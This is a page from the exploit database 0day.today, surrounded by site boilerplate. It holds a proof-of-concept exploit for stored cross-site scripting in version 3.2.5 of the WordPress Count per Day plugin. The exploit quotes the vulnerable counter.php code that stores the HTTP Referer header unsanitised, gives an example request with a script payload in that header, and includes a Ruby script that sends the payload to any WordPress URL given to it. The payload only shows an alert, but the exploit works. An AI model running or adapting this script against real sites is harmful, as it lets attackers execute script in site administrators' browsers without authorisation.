0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress Count per Day Plugin 3.2.5 (counter.php) - XSS Vulnerability
# Because this is my first Vulnerability I ever found by my self, I wrote a PoC script # I know that this is overkill and the Vulnerability is trivial to exploit :P # The JavaScript Payload is executed when the Admin views Count per Day - Statistics # # Note: Like the name says "Count per Day" will only count an Visitor one time per Day per Page # $date = date_i18n('Y-m-d'); # // new visitor on page? # $count = $this->mysqlQuery('var', $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->cpd_counter WHERE ip=$this->aton(%s) AND date=%s AND page=%d", $userip, $date, $page), 'count check '.__LINE__); # ########################################## ### counter.php (Vulnerable Code part) ### ############################################################################################################### # 120 $referer = ($this->options['referers'] && isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : ''; # ... # ... # 139 $this->mysqlQuery('', $wpdb->prepare("INSERT INTO $wpdb->cpd_counter (page, ip, client, date, referer) # 140 VALUES (%s, $this->aton(%s), %s, %s, %s)", $page, $userip, $client, $date, $referer), 'count insert '.__LINE__); ################################################################################################################ # ### Example Request ############################################################################ # GET /wordpress/ HTTP/1.1 # Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3 # Accept: */* # User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0 # Referer: https://boards.4chan.org/b/<script>alert(666)</script> # Connection: close # Host: 127.0.0.1:9001 ################################################################################################ require "net/http" require "uri" if(ARGV.length == 1) uri = URI.parse(ARGV[0]) http = Net::HTTP.new(uri.host, uri.port) #http.set_debug_output($stderr) request = Net::HTTP::Get.new(uri.request_uri) request["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0" request["Referer"] = "https://boards.4chan.org/b/<script>alert(666)</script>" http.request(request) puts "Have a nice day :-)" else puts "Usage:\t\truby #{__FILE__} [WordPress URL]" puts "Example:\truby #{__FILE__} http://127.0.0.1/wordpress/?p=1\n" end # 0day.today [2024-11-04] #